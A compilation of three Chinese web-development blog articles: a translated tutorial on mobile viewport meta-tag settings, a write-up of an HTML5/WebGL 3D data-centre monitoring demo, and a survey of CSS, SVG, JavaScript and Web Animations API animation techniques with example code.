来源： 如何做好移动端的响应式设计：Viewport控制



                    

  新人翻译，欢迎转载~

  英文原文地址：http://bitsofco.de/2015/respove-design-viewport/

  原文例程地址：https://github.com/ireade/viewports
（可下载例程参照阅读）




当我们在做响应式设计时，关注最多的是CSS的@media查询。不可否认，@media查询完成了很多工作，但一个网站的响应能力还是取决于对Viewport的控制。当我们想根据屏幕尺寸来自动变化页面布局时，我们会像这样做：


@media screen and (min-width: 960px) {
  body { background-color: green; }
}

@media screen and (max-width: 960px) and (min-width: 500px) {
  body { background-color: pink; }
}

@media screen and (max-width: 500px) {
  body { background-color: yellow; }
}



在浏览器上调整窗口大小，可以看到网页的响应能力是乎没有任何问题的。





那么问题来了


在移动端浏览页面时就出现异常了。



（没有进行Viewport控制的iPhone6上的显示效果）


页面虽然可以看到，但不能自适应手机的屏幕。之所以会有这样的问题，是设备尺寸和Viewport尺寸不一致导致的。为了更好的理解这两个尺寸之间的不同点，下面就简单说说：



	设备像素：这个是物理层面的像素数量，比如一台iPhone6，是375x667像素。（注：这里所说的设备像素有两种类型，硬件像素和设备独立像素，不过这个区别与此文无关）；

	CSS像素：这个是我们在CSS使用过程中的一个抽象的单位，它并没有一个绝对的尺寸，页面上单个CSS像素的大小完全取决于Viewport的大小；

	Viewport：Viewport决定了页面的像素密度。比如一个宽750px的Viewport，表示屏幕上横向排布了750个CSS像素（Viewport在未缩放的情况下）。




  Viewport是"无关设备"的，它不知道也不关心我们的设备到底有多大的屏幕。




大多数显示器的Viewport尺寸默认在800px到1024px之间，这就解释了为什么之前我们的例程可以在电脑上正常显示而不用管当前屏幕的尺寸。


通过meta标签来控制Viewport


可以设置meta标签中的viewport信息，以解决Viewport尺寸不匹配的问题。meta标签的用法如下：


<meta  name="viewport" content="key=value, key=value">



标签内容中有6个关键字：



	width

	height

	initial-scale

	minimum-scale

	maximum-scale

	user-scalable



WIDTH


可以用width来设置viewport的宽度，以替代那些不合适的默认宽度。我们可以给其设定一个固定大小，但设定成device-width更加明智一些，这样我们可以兼容不同大小的屏幕。


<meta name="viewport" content="width=device-width">



加了这句话之后，我们的例程看起来就正常多了。



（在iPhone6上设置width=device-width之后的显示效果）


INITIAL-SCALE


在移动设备上，用户有时会需要缩放页面，当页面缩放时，Viewport的像素尺寸也会相应的改变，但CSS尺寸不会变。



  比如，在一个400px宽的Viewport中有一个元素，设定width: 100px;，这时该元素就横跨了1/4的屏幕。如果用户把页面放大到两倍大小，这时Viewport宽度变成了200px，但元素仍然宽100个CSS像素。这时这个元素就占了半个屏幕了。




我们可以通过initial-scale来设置CSS像素和Viewport像素之间的比例，通常情况下是1:1。这个参数的设置可以很好的解决width=device-width设置所带来的问题。有些移动设备浏览器会在纵向模式时默认使用设备宽度，当切换到横向模式时页面显示就会不正常。



（在没有设置initial-scale的横向iPhone6上的显示效果）


如图所示，当iPhone处于横向模式时，我们看到的还是宽度小余500px时的页面状态。不过不要慌张，我们可以通过设置initial-scale为1来解决这个问题。


<meta name="viewport" content="width=device-width, initial-scale=1">




（在设置了initial-scale的横向iPhone6上的显示效果）


USER-SCALABLE，MAXIMUM-SCALE以及MINIMUM-SCALE


这几个参数用来控制页面的缩放能力。



	Maximum-scale：这个是用户可以缩放页面的最大比例。比如说设置为1，用户就无法缩放页面。假如设置为2，用户就可以把页面放大到1个CSS像素等于2个Viewport像素的大小；

	Minimum-scale：这个是用户可以缩放页面的最小比例。假如设置为2，页面的最小比例就是原比例的两倍，并且无法缩小到原始比例；

	User-scalable：如果设置了user-scalable=no，用户将无法对页面进行缩放。



由于这几个参数限制了用户对页面的操作，通常不建议使用它们。


用CSS来控制Viewport


虽然现在很多人都在用viewport，但其实viewport并不是HTML5标准中的正式成员。W3C目前正在研究将viewport以@viewport规则的形式加入到CSS当中，@viewport规则与viewport标签有异曲同工之妙，只是将用于布局的viewport归还给CSS，现在已经有部分开发者在尝试@viewport了。


@viewport {
  zoom: 1.0; /* same as initial-scale=1 */
  width: device-width;
}

/* Vendor specific prefixes */
@-ms-viewport 
@-webkit-viewport 
@-moz-viewport 
@-o-viewport



在@viewport正式发布之前，还是先继续使用viewport标签吧，如果有兴趣的话可以尝试一下测试版的@viewport。


总结


为了保证你的响应式页面能够在移动端正常运行，把下面这句话加到你的<head>元素里面吧~


<meta name="viewport" content="width=device-width, initial-scale=1">



 打造最美HTML5 3D机房（第三季新增资产管理、动环监控）

作者：MonoLog

来源： 打造最美HTML5 3D机房（第三季新增资产管理、动环监控）



                    
原本以为这次的机房资产管理项目告一段落，可以歇一歇，哥还是太天真了。我们伟大的甲方又拿下了第二期的项目，誓把哥的才华发挥到极致啊。国庆长假也没正经休息几天，硬是给人折腾出了个demo，加上了容量管理、电源走线、告警巡航这些实用功能，以及温湿度、风向、门禁、视频监控效果。哥这就给大家秀一下成果，收收膝盖，找找存在感。

想看视频的童鞋可以直接点这里：
http://v.youku.com/v_show/id_XMTM3MDgxNTQ4NA==.html

对了，第一次来看哥的童鞋，这里有前两篇的链接：

第一季：如何从零开始搭建基于HTML5和WebGL的3D机房场景
第二季：场景和功能的丰富，包括机柜、设备、走线、路径规划等功能



甲方虐归虐，思路还是比较清晰的，第一期重点放在三维呈现和静态的资产管理上，第二期着重动环监控，这样基本上一个比较完整的数据中心监控系统就出来了。废话不多说了，这就开始给大家介（嘚）绍（瑟）。

界面美化

这次先是做了一些界面的美化工作，最近跟设计师mm配合得不错，果然界面档次也有所提高。

右键菜单调整

随着demo上堆砌的功能越来越多，右键的按钮也不够使了，加之有朋友反映右键菜单有点隐蔽不容易找到，我把所有的功能效果都改为从工具栏按钮进入，直接纵向显示放在了左侧，效果还不错：


动态客户信息

上次在机柜顶部显示资产编码的方式得到了客户的肯定，这次又尝试在机柜组地板上动态生成客户的信息，这就是3D的好处啊，哪儿有空我贴哪里。


其它装饰性细节

上次随手找的CCTV主播电视画面果断被吐槽了，看来大家还是很严肃地在探讨问题，所以这次我也把电视画面改成了统计图表，另外新增了特别合时宜的海报，给哥点个赞？




资产管理功能

以上都是一些界面上的小改动，下面给大家上几个硬菜。

机架可用空间

当服务器陆续上架后，会对机柜的空间产生占用和分隔。及时了解整个机房中每个机架的占用情况和空闲空间的大小情况，是非常重要的日常工作。通过3d来呈现就再适合不过了：我们把有服务器占用的空间用白色块填充，有空闲的空间根据大小不同用不同的色块填充，就有了下方的效果：


图上的颜色不光是为了好看，上面1-2U的空间用红色、5U以下的用紫色，通过不同颜色来表示连续剩余空间的数量，白色表示已经占用的空间，这样对于机房管理人员来说，可以迅速掌握整个机房的占用情况。当机房要上架一个5U的设备，我们可以一眼看到哪里有紫色的色块，并快速定出在哪里上架。

实现这一效果很简单，简单说一下思路：切换空间视图后，首先把原来的机柜隐藏，然后在同样的地方根据空间和设备情况创建多个不同的立方体进行罗列。立方体的颜色根据立方体的高度进行调整。为了增加视觉效果，可以留意立方块不要完全紧挨一起，可以留一点空隙增加立体感；空闲的方块设置一定的透明度，以和乳白色的占用空间形成一定的差异；设置一定的反光度，增加色块的质感。如下图：


机柜利用率

项目还有个需求是显示机柜的整个空间使用率情况。使用率不用显示具体哪里占用哪里空闲，只要显示一个整体使用比例即可，相对简单一点。先用一个线框把机柜位置显示出来，再把一个高度符合使用比例的立方块显示出来就行了，类似一个柱状图。设置一下颜色、光照等属性，让它看上去更真实：


纯3d的“动画”冒出来的柱状图，还能绑定真实数据，也算是个很棒的应用了。GIF录得不咋滴，想看高清大动画的朋友，还是直接看源程序吧。


告警巡航

上一篇里，已经介绍了设备告警的用法，这里进一步增加了告警巡航的功能，即当一个告警发生后，自动将镜头推向故障点，并显示故障信息，这是告警巡航的作用。下面的图显示了当一个告警发生后，镜头会在场景中自动进行漫游，寻找机房门，进入，推向故障机柜，打开机柜门，拉出故障设备、板卡，并显示故障详细信息。


动力环境监控

动力环境监控的对象主要是机房动力和环境设备等设备，像配电、UPS、空调、温湿度、漏水、门禁、安防、消防、防雷等等，这些通常会有独立的采集和监控系统，我需要做的是把动环的效果用3D呈现，并且和系统的真实数据进行对接。

温度监控

温度监控是机房中动力环境监控的重要内容。机房里面大量的设备运行产生大量热量，需要及时监控温度的热点，避免温度过高导致设备故障。在我们的项目中，每个机柜都有温度采集器，每个机柜的纵向也有多个温度传感器，可以通过后台接口采集到。有了这些数据，就可以做温度的呈现了。一般传统的方法是显示温度数字，这样并不太直观。新潮一点的玩法是显示温度云图。也就是根据温度采样点动态生成一个渐变的温度场云图，再将图贴在地板上，这样能更直观的观察到温度在空间的变化。


温度云图模拟了热衰减的过程，并在地板上留下痕迹。同样，纵向的设备上也通过温度数值来生成色差不同的温度图贴在机架上，这样一眼就能看到整个机柜的热点在哪里，以便及时查看故障或调整空调气流。

对于没有机柜的位置，可以通过增加一个纵向空间切片来显示温度云图：


上图在机柜旁边纵向虚拟切片，并对这一切面上进行温度采集、渲染。可以观察出温度随着气流、空间的变化而产生的变化，从而知道整个空间的热点分布。可以根据需要增加更多切片，不过过多切片也会相互遮盖，影响视觉效果。

生成温度场的代码如下。需要传入机架和机架上的温度采集点信息：

createSideTemperatureImage: function(rack, count){
    var width=2;
    var height=rack.getHeight();
    var step=height/count;
    var board = new TemperatureBoard(width,height,'v', height/count);        

    for(var i=0;i<count;i++){        
        var value=0.3+Math.random()*0.2;
        if(value<4){
            value=Math.random()*0.9;
        }
        board.addPoint(width/2,step*i,value);
    };

    return board.getImage();
}


以上温度值是随机产生，项目中可接入实际数值。

空调风向

机房中的空调冷风流向也是一个需要监控的业务。一般冷风从地板下方吹出、穿过机柜从上方流走。如果有通道的情况，冷风的冷却效效率会更好。下图展示了冷风是如何流动的。其中箭头会用流动的动画效果展示。


通过颜色的变化可以看到空气随着流动的变化而产生的温度变化。（下面是一张动图，好像要戳开才会动次大次）

要做这一效果，先创建一个曲面的对象，然后在上面添加箭头的贴图。然后启用一个动画，来控制贴图的位移，就可以实现动画流动的效果了：

toggleAirView: function(network){
    network.airView=!network.airView;

    if(!network.getDataBox().airPlanes){
        network.getDataBox().airPlanes=demo.createAirPlanes();
    }

    for(var i=0;i<network.getDataBox().airPlanes.length;i++){
        var plane=network.getDataBox().airPlanes[i];
        if(network.airView){
            network.getDataBox().add(plane);
            plane.airAnimation.play();
        }else{
            network.getDataBox().remove(plane);
            plane.airAnimation.stop();
        }
    }        
}


烟雾监控

现在的建筑中一般都有烟雾监控传感器，当有烟雾发生时会发生报警。下图模拟了当发生烟雾的情况，我们在着火点用一团烟雾来渲染，增加场景的逼真度。同时通过动画，来模拟烟雾的冒出情况。


同时把场景中的灭火器的位置高亮并用箭头动画示意，提示灭火器材位置，及时施救。


然而，这个功能可能并没什么卵用。一旦机房失火，产生的后果将是灾难性的，不是几个灭火器能够解决的。最好还是做好防灾预案和日常维护。

漏水监控

机房除了怕火，再就是怕水。机房漏水产生的后果恐怕不必火灾更小。水会直接导致设备和损坏，应该大力防范。水的产生一般来自管道或设备的漏水，可以通过地板铺设漏水绳进行监控。下图展示了当机房中铺设多条漏水绳并发生漏水的情况：


漏水点可以通过漏水绳精确检测，我们在3d场景中进行精确定位和显示，并通过一个标签指示其位置。为了观察的更清晰，这里动态虚化了机柜和房间等物体，能一目了然看清漏水绳的走向和分布。


防盗监测

机房会严格限制人员的进入。对于敏感区域，可以放置防盗红外或激光探头，当有人员通过，会立刻发起警报，起到防止进入和防盗的效果。这种激光防盗在各种电影大片中已经屡见不鲜了：


似乎密室逃脱、拓展训练等游戏里面都有了，急速前进里筷子兄弟过激光阵可把我看得愁死了，下次公司组织活动的时候可以搞一把：


回到机房，不是拍电影的话一般不用布成天罗地网，比较规整的线就可以了：


里面的射线可以通过line对象创建，设置颜色、透明度、反光度等即可。貌似这个机房要想进去偷点东西还挺有难度的吧。


电源走线

沿着这个思路，利用line对象，可以创建更多连线管理。例如电源的布线走线显示。每一个机柜的供电线布局走线，可以通过不同的颜色和走向进行显示。这样会比传统的表格或2d图形显示更加直观。


安防监控

安防监控，最传统的做法是视频监控，在机房的各个位置放上摄像头，然后集中对画面进行监控。


视频监控

在我们的3D机房中，则可以通过json进行配置显示摄像头的位置，摄像头可以根据不同类型进行提前建模，根据json配置进行动态加载。：


双击摄像头，可以连接摄像头调出实时监控视频画面。这里放了一个假视频代替了。


门禁监控

安防的另一个重要部分就是门禁系统，通常门禁设备的厂家会自带管理系统，我们只需要把系统数据接进平台即可。在3D呈现上，我们可以把门禁的位置展示出来：


双击门禁控制器后，显示人员的进出信息：


三维拖拽功能

很多拿到程序的朋友留言问如何能够直接在界面上拖拽移动机柜何设备。通过api移动物体并不复杂，object.setPosition(x,y,z)就行了。不过在界面上如果在3d中直接通过鼠标拖拽就要考虑如何操作方便。点击这个按钮，可以切换到编辑模式，此时可以直接在界面上移动机柜位置。


编辑模式下，鼠标点击可以选中一个机柜。同时机柜会出现3个扇形和3个箭头。点中任意扇形拖拽，可以在所在的平面上平移；点击任意箭头拖拽，可以在这个轴向上平移。同时为了能看清坐标数值，在鼠标的tip中显示了当前x、y、z的数值，以及旋转、缩放比例的数值。如下图：


当然在这里，机柜只能允许在水平面平移，纵向平移没有什么实际意义，这都可以通过代码进行控制。下面的代码可以控制是否允许拖拽、是否允许缩放、旋转等操作：

    var editInteraction = new mono.EditInteraction(network);
    editInteraction.setShowHelpers(true);
    editInteraction.setScaleable(false);
    editInteraction.setRotateable(false);
    editInteraction.setTranslateable(true);


这样，我们就可以很任性的对机房进行自定义布局了，很多家装设计的工具也是这样的原理。

其他

以上是这次大更新的主要内容，根据项目的需求，程序还做了其他很多小改进，具体大家可以自己看看。包括连线显示实时流量信息（如下图：）


动画显示机柜设备的加载过程：


更多细节改进就不再赘述，感兴趣的同学可以留言或发邮件到tw-service@servasoft.com，欢迎一起探讨！如果大家想看到什么更多的效果也可以给我留言。时间有限，很多细节没办法写的很详细，请大家包涵。俺继续干活去了！
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相关概念：绘制频率、屏幕刷新频率、硬件加速、60fps


绘制频率：


页面上每一帧变化都是系统绘制出来的(GPU或者CPU)【参考浏览器渲染原理】。但这种绘制又和PC游戏的绘制不同，它的最高绘制频率受限于显示器的刷新频率(而非显卡)，所以大多数情况下最高的绘制频率只能是每秒60帧(frame per second，以下用fps简称)，对应于显示器的60Hz。60fps是一个最理想的状态，在日常对页面性能的测试中，60fps也是一个重要的指标，the closer the better。


刷新频率：


图像在屏幕上更新的速度，也即屏幕上的图像每秒钟出现的次数，它的单位是赫兹（Hz）。刷新频率越高，屏幕上图像闪烁感就越小，稳定性也就越高，换言之对视力的保护也越好。一般人的眼睛、不容易察觉75Hz以上刷新频率带来的闪烁感，因此最好能将您显示卡刷新频率调到75Hz以上。要注意的是，并不是所有的显示卡都能够在最大分辨率下达到70Hz以上的刷新频率（这个性能取决于显示卡上RAMDAC的速度），而且显示器也可能因为带宽不够而不能达到要求。影响刷新率最主要的还是显示器的带宽。


显示器带宽是显示器视频放大器通频带宽度的简称，指电子枪每秒钟在屏幕上扫过的最大总像素数，以MHz(兆赫兹)为单位。 带宽的值越大，显示器性能越好。


硬件加速：


硬件有三个处理器，CPU、GPU和APU（不是加速处理器是声音处理器）。他们通过PCI/AGP/PCIE总线交换数据。今天，GPU已经不再局限于3D图形处理了，GPU通用计算技术发展已经引起业界不少的关注，事实也证明在浮点运算、并行计算等部分计算方面，GPU可以提供数十倍乃至于上百倍于CPU的性能。


60Hz和60fps是什么关系


没有任何关系。fps代表GPU渲染画面的频率，Hz代表显示器刷新屏幕的频率。一幅静态图片，你可以说这副图片的fps是0帧/秒，但绝对不能说此时屏幕的刷新率是0Hz，也就是说刷新率不随图像内容的变化而变化。游戏也好浏览器也好，我们谈到掉帧，是指GPU渲染画面频率降低。比如跌落到30fps甚至20fps，但因为视觉暂留原理，我们看到的画面仍然是运动和连贯的。


_PS: 以下示例在Chrome环境中运行_


一、CSS动画


1.1 Transitions动画


实例：


<style type="text/css">
.animate {
    width: 200px;
    height: 200px;
    margin: 0 auto;
    border-radius: 50%;
    background-color: #f00;
    line-height: 200px;
    border-radius: 50%;
    text-align: center;
    color: #fff;
    font-size: 20px;
}
.animate-transition {
    transition         : transform 2s linear;
    -moz-transition    : -moz-transform 2s linear;
    -webkit-transition : -webkit-transform 2s linear;
    -o-transition      : -o-transform 2s linear;
}

.animate-transition:hover {
    cursor: pointer;
    transform         : rotate(360deg);
    -moz-transform    : rotate(360deg);
    -webkit-transform : rotate(360deg);
    -o-transform      : rotate(360deg);
}
</style>


<div class="animate animate-transition">Transition Animation</div>





查看实例演示


1.2 Keyframes animation


Keyframes animation通过定义多个关键帧以及定义每个关键帧中的元素的属性值来实现更为复杂的动画效果。


实例：


<style type="text/css">
.animate-keyframes {
    -webkit-animation: frames 2s linear infinite;
}

.animate-keyframes:hover {
    cursor: pointer;
    -webkit-animation: none;
}

@-webkit-keyframes frames {
    0% {
        background-color: #f00;
        -webkit-transform: rotate(0deg);
    }
    100% {
        background-color: #f00;
        -webkit-transform: rotate(360deg);
    }
}
</style>


<div class="animate animate-keyframes">keyframes animation</div>





查看实例演示


1.3 CSS动画优缺点


优点：


简单、高效


声明式的


不依赖与主线程，采用硬件加速（GPU）


简单的控制keyframe animation 播放和暂停


缺点：


不能动态的修改或定义动画内容


不同的动画无法实现同步


多个动画彼此无法堆叠


另：


1) CSS3 transition强制硬件加速会加大GPU消耗，高负荷情形下将导致运行不流畅。这种情况在移动设备上尤为明显。（特殊情况下，比如当数据在浏览器主线程和排版线程之间传递产生的瓶颈也会导致不流畅）。某些CSS属性，比如transform和opacity，则不受这些瓶颈影响。Adobe在这里精心总结了这些问题。详细请戳


transition的兼容性问题是个诟病，IE10+及现代浏览器，使用起来会造成很多不便。


由于transition并不是由JavaScript原生控制（而仅仅是由JavaScript触发），浏览器无法获知如何与控制这些transition的JavaScript代码同步地优化他们。


2) keyframes animation 的动画曲线会应用到所有变化的属性上，而且手写比较复杂的动画，写起来就是噩梦。


二、SVG动画


2.1 实例




<div class="animate-svg">
    <svg id="svgAnimation" ns="http://www.w3.org/2000/svg" version="1.1" width="200" height="200">
        <g transform="translate(100,100)">
            <g>

                <rect width="200" height="200" rx="100" ry="100" fill="red" transform="translate(-100,-100)"></rect>
                <text x="-60" y="-0" font-size="20" fill="white" >SVG Animation</text>
                <!-- Add ease-in-out and infinite iterations to this animation and the code -->
                <animateTransform attributeName="transform" attributeType="xml" type="rotate" from="0" to="360" dur="3s" repeatCount="indefinite">SVG Animation</animateTransform>
            </g>
        </g>
    </svg>
</div>





查看实例演示


2.2 SVG动画优缺点


优点：


1) 矢量图形，不受像素影响——SVG的这个特性使得它在不同的平台或者媒体下表现良好，无论屏幕分辨率如何


2) SVG对动画的支持较好，其DOM结构可以被其特定语法或者Javascript控制，从而轻松的实现动画


3) Javascript可以完全控制SVG Dom 元素


4) SVG的结构是XML，其可访问性（盲文、声音朗读等）、可操作性、可编程性、可被CSS样式化完胜Canvas。另外，其支持 ARIA 属性，使其如虎添翼。


缺点：


1) DOM比正常的图形慢，而且如果其结点多而杂，就更慢。


2) SVG 画点报表什么的，还行；在网页游戏前，就束手无策了；当然可以结合 Canvas + SVG实现。


3) 不能动态的修改动画内容


4) 不能与HTML内容集成


5) 整个SVG作为一个动画


6) 浏览器兼容性问题，IE8-以及Android 2.3默认浏览器是不支持SVG


三、Javascript动画


3.1 jQuery动画


jQuery动画使用setInterval实现:


// 用例
$("#div").animate({});

// 源码
jQuery.fx.timer = function( timer ) {
    if ( timer() && jQuery.timers.push( timer ) && !timerId ) {
        timerId = setInterval( jQuery.fx.tick, jQuery.fx.interval );
    }
};

jQuery.fx.interval = 13;



jQuery的动画帧宽为什么是13ms呢


How to determine the best “framerate” (setInterval delay) to use in a JavaScript animation loop?


为什么jQuery用setInterval而不用RAF？


优点：


易用，低效，兼容好；


缺点：


1) setInterval多个间隔可能会被跳过


2) setInterval多个间隔可能比预期小


3) 不同浏览器的精度量级不同：


4) jQuery 无法解决频繁触发 Layout 导致的抽动。


3.2 requestAnimationFrame


实例：


<style type="text/css">
.animate-RAF {

}

.animate-input  {
    margin-top: 10px;
    text-align: center;
}
</style>



<div id="animate-RAF" class="animate animate-RAF">RAF Animation</div>




<div class="animate-input"><input type="button" id="btn_start" value="Start" style="width:100px;height:30px"></div>





<script type="text/javascript">
    var animate_raf   = document.getElementById("animate-RAF"),
        btn_start = document.getElementById("btn_start"),
        frameid   = null;

    function frame(time) {
        animate_raf.style['-webkit-transform'] = 'rotate('+ Math.cos(time/1000)*360 +'deg)';
        frameid = requestAnimationFrame(frame);
    }

    // bind Event
    btn_start.addEventListener("click", function(event) {
        var val = this.value;

        if(val === "Start") {
            frameid = requestAnimationFrame(frame);
            this.value = "Pause";
        }else {
            this.value = "Start";
            cancelAnimationFrame(frameid);
        }
    }, false);

</script>





查看实例演示


优点：


1) 在每次浏览器更新页面时，能获取通知并执行应用。 简单理解为，RAF能在每个16.7ms间执行一次咱们的函数，不多不少。


2) 最小化的消耗资源，RAF在页面被切换或浏览器最小化时，会暂停执行，等页面再次关注时，继续执行动画。


3) 相比 CSS 动画有更好的掌控，能合理降低CPU的使用。


缺点：


1) 无法控制执行时间，执行时间由系统根据屏幕刷新时间决定


2) 浏览器兼容性问题，IE10+及现代浏览器，低版本浏览器建议降级处理，使用setInterval或setTimeout


3.3 Canvas


优点：


1) 画2D图形时，页面渲染性能比较高


2) 页面渲染性能受图形复杂度影响小


3) 渲染性能只受图形的分辨率的影响


4) 画出来的图形可以直接保存为 .png 或者 .jpg的图形


5) 最适合于画光栅图像（如游戏和不规则几何图形等），编辑图片还有其他基于像素的图形操作。


缺点：


1) 整个就是一张图，无论你往上画什么东西——没有DOM 结点可供操作


2) 没有实现动画的API，你必须依靠定时器和其他事件来更新Canvas


3) 对文本的渲染支持是比较差


4) 对要求有高可访问性（盲文、声音朗读等）页面，比较困难


5) 对交互要求高的（比如TIBCO的很多产品）的界面，不建议使用Canvas


3.4 WebGL


WebGL是一种3D绘图标准，这种绘图技术标准允许把JavaScript和OpenGL ES 2.0结合在一起，通过增加OpenGL ES 2.0的一个JavaScript绑定，WebGL可以为HTML5 Canvas提供硬件3D加速渲染，这样Web开发人员就可以借助系统显卡来在浏览器里更流畅地展示3D场景和模型了，还能创建复杂的导航和数据视觉化。显然，WebGL技术标准免去了开发网页专用渲染插件的麻烦，可被用于创建具有复杂3D结构的网站页面，甚至可以用来设计3D网页游戏等等。


浏览器支持：


Internet Explorer 11+


Google Chrome 9+


Firefox 4+


Opera 12+


Safari 5.1+


3.5 Problems


1) 不同的api有不同的模型动画


2) 不必要的维护来支持多种方式实现同样的事情


3) Web开发人员需要学习多种实现技术


4) Javascript不容易设置声明式动画


四、Flash动画(过时)


五、Web Animations 1.0 ——A new general purpose animation model


1) W3Web Animations 1.0


2) JavaScript implementation of the Web Animations API 


Web Animations API为CSS和SVG动画提供了单一接口。旨在通过提供更好的性能、更好的控制时间线和播放、灵活、统一的Javascript编程接口，使做一些事情更容易。


当前状态：


Specification at First Public Working Draft: www.w3.org/TR/web-animations


Chrome:


CSS Transitions & Animations rewritten on top of the Web Animations model


JavaScript API in development behind a flag


Firefox & Safari: Started implementation


IE: No public signals


实例一：A simple example


var web_animation_1 = document.getElementById("web_animation_1");

web_animation_1.addEventListener('click', function() {
    web_animation_1.animate([{
        transform: 'rotate(0deg)'
    }, {
        transform: 'rotate(360deg)'
    }],{
        duration: 2
    });
}, false);



查看实例演示


实例二：More complex timing


var web_animation_2 = document.getElementById("web_animation_2");

web_animation_2.addEventListener('click', function() {
    web_animation_2.animate([{
        transform: 'rotate(0deg)'
    }, {
        transform: 'rotate(360deg)'
    }],{
        direction: 'alternate',
        duration: 1,
        iterations: Infinity,
        easing: 'ease-in-out',
        playbackRate: 2
    });
}, false);



查看实例演示


实例三：Without the syntactic sugar


var web_animation_3 = document.getElementById("web_animation_3");

web_animation_3.addEventListener('click', function() {
    var obj = new Animation(web_animation_3,[{
        transform: 'rotate(0deg)'
    }, {
        transform: 'rotate(360deg)'
    }],{
        duration: 2
    });
    document.timeline.play(obj);
}, false);




查看实例演示


实例四：Parallel animation grouping


var web_animation_4 = document.getElementById("web_animation_4"),
    parItem1 = document.getElementById("parItem1"),
    parItem2 = document.getElementById("parItem2"),
    parItem3 = document.getElementById("parItem3");

web_animation_4.addEventListener('click', function() {
    var obj = new ParGroup([
        new Animation(parItem1, [{width: '0px'}, {width: '500px'}], 1),
        new Animation(parItem2, [{width: '0px'}, {width: '700px'}], 1),
        new Animation(parItem3, [{width: '0px'}, {width: '200px'}], 1),
    ])
    document.timeline.play(obj);
}, false);



查看实例演示


实例五：Sequential animation grouping


var web_animation_5 = document.getElementById("web_animation_5"),
    seqItem1 = document.getElementById("seqItem1"),
    seqItem2 = document.getElementById("seqItem2"),
    seqItem3 = document.getElementById("seqItem3");

web_animation_5.addEventListener('click', function() {
    var obj = new SeqGroup([
        new Animation(seqItem1, [{width: '0px'}, {width: '200px'}], 1),
        new Animation(seqItem2, [{width: '0px'}, {width: '300px'}], 1),
        new Animation(seqItem3, [{width: '0px'}, {width: '200px'}], 1),
    ])
    document.timeline.play(obj);
}, false);



查看实例演示


实例六：Nested grouped animations


var web_animation_6 = document.getElementById("web_animation_6"),
    outerSeqItem1 = document.getElementById("outerSeqItem1"),
    outerSeqItem2 = document.getElementById("outerSeqItem2"),
    innerParItem1 = document.getElementById("innerParItem1"),
    innerParItem2 = document.getElementById("innerParItem2"),
    innerParItem3 = document.getElementById("innerParItem3");

web_animation_6.addEventListener('click', function() {
    var parobj = new ParGroup([
        new Animation(innerParItem1, [{width: '0px'}, {width: '300px'}], 1),
        new Animation(innerParItem2, [{width: '0px'}, {width: '300px'}], 1),
        new Animation(innerParItem3, [{width: '0px'}, {width: '300px'}], 1),
    ]);
    var seqobj = new SeqGroup([
            new Animation(outerSeqItem1, [{width: '0px'}, {width: '200px'}], 1),
            parobj,
            new Animation(outerSeqItem2, [{width: '0px'}, {width: '200px'}], 1),
        ]);
    document.timeline.play(seqobj);
}, false);




查看实例演示


实例七：Path animations


var web_animation_7 = document.getElementById("web_animation_7");

web_animation_7.addEventListener('click', function() {
    var obj = new Animation(web_animation_7,
        new PathAnimationEffect(
            'M 100 200 ' +
            'C 200 100 300   0 400 100 ' +
            'C 500 200 600 300 700 200 ' +
            'C 800 100 900 100 900 100', 'auto-rotate'), {
            duration: 2,
            direction: 'alternate',
            easing: 'ease-in-out',
            iterations: Infinity,
        });

    document.timeline.play(obj);
}, false);



查看实例演示


实例八：Custom animation effects


function customAnimationEffect(timeFraction, iteration, target) {
    web_animation_8.innerHTML = 'timeFraction: ' + timeFraction.toFixed(2) + '\n' +
                             'iteration: ' + iteration;
}
var web_animation_8 = document.getElementById("web_animation_8");

var obj = new Animation(null,
    {sample: customAnimationEffect},
    {
        duration: 2,
        direction: 'alternate',
        easing: 'ease-in-out',
        iterations: Infinity,
    });

var customPlayer = document.timeline.play(obj);

window.addEventListener('slideenter', function(event) {
    if (event.slide == customSlide) {
        customPlayer.currentTime = 0;
    }
}, false);



查看实例演示


实例九：综合实例


(function(document) {

    'use strict';
    var Animations = {},
        player, controls = document.getElementById('animate-controls');

    Animations.targets = {
        path: document.getElementById('path'),
        ballContainer: document.getElementById('animate-ball-container'),
        ball: document.getElementById('animate-ball')
    };

    Animations.keyframeMove = new Animation(Animations.targets.ballContainer, [{
        offset: 0,
        transform: 'translate(0,0)'
    }, {
        offset: 1,
        transform: 'translate(600,0)'
    }], {
        duration: 2000
    });

    Animations.keyframeSpinRoll = new Animation(Animations.targets.ball, [{
        transform: 'rotate(950deg)'
    }], {
        duration: 2000
    });

    Animations.motionpathBounce = new Animation(Animations.targets.ballContainer, new MotionPathEffect("M25,25 " + "a150,100 0 0,1 300,0 " + "a75,50 0 0,1 150,0 " + "a35,20 0 0,1 70,0 " + "a2,1 0 0,1 35,0 " + "h45"), {
        duration: 2500
    });

    Animations.keyframeSpinBounce = new Animation(Animations.targets.ball, [{
        transform: 'rotate(950deg)'
    }], {
        duration: 2500
    });

    Animations.animationGroupRoll = new AnimationGroup([Animations.keyframeMove, Animations.keyframeSpinRoll], {
        easing: 'ease-out'
    });

    Animations.animationGroupBounce = new AnimationGroup([Animations.motionpathBounce, Animations.keyframeSpinBounce], {
        easing: 'ease-out'
    });

    controls.addEventListener('click', function(event) {
        if (event.target) {
            var targetElement = event.target;
            switch (targetElement.id) {
                case 'keyframe-start':
                    player = document.timeline.play(Animations.animationGroupRoll);
                    break;
                case 'motionpath-start':
                    player = document.timeline.play(Animations.animationGroupBounce);
                    break;
                case 'pause':
                    player.pause();
                    break;
                case 'cancel':
                    player.cancel();
                    break;
                case 'play':
                    player.play();
                    break;
                case 'reverse':
                    player.reverse()
            }
        }
    })
})(document);



查看实例演示


六、现行兼容性方案


1) 页面增强动画建议使用CSS动画


2) 复杂动画交互建议使用RAF及setInterval 或setTimeout优雅降级处理


(function() {
    var lastTime = 0,
        vendors = ['webkit', 'moz'];

    for(var x = 0; x < vendors.length && !window.requestAnimationFrame; ++x) {
        window.requestAnimationFrame = window[vendors[x]+'RequestAnimationFrame'];

        window.cancelAnimationFrame = window[vendors[x]+'CancelAnimationFrame'] || window[vendors[x]+'CancelRequestAnimationFrame'];
    }

    if (!window.requestAnimationFrame) {
        window.requestAnimationFrame = function(callback, element) {
            var currTime = new Date().getTime(),
                timeToCall = Math.max(0, 16.6 - (currTime - lastTime) ),
                id = window.setTimeout(function() { 
                    callback(currTime + timeToCall); 
                },timeToCall);

            lastTime = currTime + timeToCall;
            return id;
        };
    }

    if (!window.cancelAnimationFrame) {
        window.cancelAnimationFrame = function(id) {
            clearTimeout(id);
        };
    }

})();



3) 推荐动画库Velocity.js、GreenSock:


